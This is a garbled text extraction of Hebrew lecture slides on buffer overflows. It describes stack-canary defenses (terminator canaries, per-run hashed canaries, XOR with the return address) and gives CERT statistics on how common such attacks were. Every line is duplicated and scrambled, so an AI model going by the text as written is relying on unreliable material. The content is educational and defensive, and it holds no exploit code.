כאשר חוצץ ידרוס את כתובת החזרה, גם ה כאשר חוצץ ידרוס את כתובת החזרה, גם ה תדרס בדרךתדרס בדרך

" שלנו עדיין " שלנו עדיין canarycanaryנוסיף בזמן קומפילציה בדיקה שה "נוסיף בזמן קומפילציה בדיקה שה "חיה לפני שנחזור מהפונ' חיה לפני שנחזור מהפונ'

בעיה:בעיה:

למילה שלנו למילה שלנוspoofingspoofingניתן לעקוף את האבטחה הזאת ע"י ניתן לעקוף את האבטחה הזאת ע"י

Page 54: Buffer Overflow

)המשך( )המשך(33פתרונות אלטרנטיביים פתרונות אלטרנטיביים

הפתרון:הפתרון:

התוים : התוים :44. הכנרית שלנו תכיל את . הכנרית שלנו תכיל את 11NULL)0x00(, CR )0x0d(, LF )0x0a( , EOF )0xff(NULL)0x00(, CR )0x0d(, LF )0x0a( , EOF )0xff(

לכן לכן stringstringברוב המקרים לפחות אחד מהתווים האלה מסמן סוף של ברוב המקרים לפחות אחד מהתווים האלה מסמן סוף של אם הפורץ יכניס אותם לחוצץ שלו כדי לדרוס את הכנרית, למעשה אם הפורץ יכניס אותם לחוצץ שלו כדי לדרוס את הכנרית, למעשה

החוצץ שלו יקטע לפני שיצליח לדרוס את כתובת החזרההחוצץ שלו יקטע לפני שיצליח לדרוס את כתובת החזרה

. כל תוכנית שמורצת תשתמש בכנרית שתוקצה לה . כל תוכנית שמורצת תשתמש בכנרית שתוקצה לה 22 לפי התאריך והשעה בה הורצה לפי התאריך והשעה בה הורצהhashhashע"י פונ' ע"י פונ'

Page 55: Buffer Overflow

P1

P2

canary

Return address

Page 56: Buffer Overflow

)המשך( )המשך(33פתרונות אלטרנטיביים פתרונות אלטרנטיביים

::הפתרוןהפתרון

בין בין XORXORבצמוד לכנרית עצמה, יאוחסן גם ה-בצמוד לכנרית עצמה, יאוחסן גם ה-הכנרית וכתובת החזרה המקורית, וכך ניתן הכנרית וכתובת החזרה המקורית, וכך ניתן

יהיה לבדוק שכתובת החזרה לא נדרסהיהיה לבדוק שכתובת החזרה לא נדרסה

Page 57: Buffer Overflow

Buffer OverflowBuffer Overflow - - עד כמה זה נורא?עד כמה זה נורא?

)פורום )פורום CERTCERTאחוז גדול מהאזהרות של האחוז גדול מהאזהרות של ההעוסק באבטחה ברשת( הן בנוגע לפרצות העוסק באבטחה ברשת( הן בנוגע לפרצות

..BOFBOFאבטחה ע"י אבטחה ע"י

נמצאות בשימוש נמצאות בשימוש BufferOverflowBufferOverflowפריצות ע"י פריצות ע"י נרחב בפריצות ממחשב מרוחק מכיוון שהן נרחב בפריצות ממחשב מרוחק מכיוון שהן

נותנות להאקר בדיוק את מה שהוא רוצה – את נותנות להאקר בדיוק את מה שהוא רוצה – את היכולת לשתול ולהריץ את קוד הפריצההיכולת לשתול ולהריץ את קוד הפריצה

Page 58: Buffer Overflow

Buffer OverflowBuffer Overflow עד כמה זה – עד כמה זה – נורא?נורא?

Page 59: Buffer Overflow

Buffer OverflowBuffer Overflow עד כמה זה – עד כמה זה – נורא?נורא?

0%

10%

20%

30%

40%

50%

60%

1988 1990 1992 1994 1996 1998

מתוך כלל הפריצות bufferoverflowאחוזים של פריצות ע"י לרשתות

Page 60: Buffer Overflow
Page 61: Buffer Overflow

http://www.rocklinux.net/people/clifford/http://www.rocklinux.net/people/clifford/BufferOverflow/p56-5.txtBufferOverflow/p56-5.txt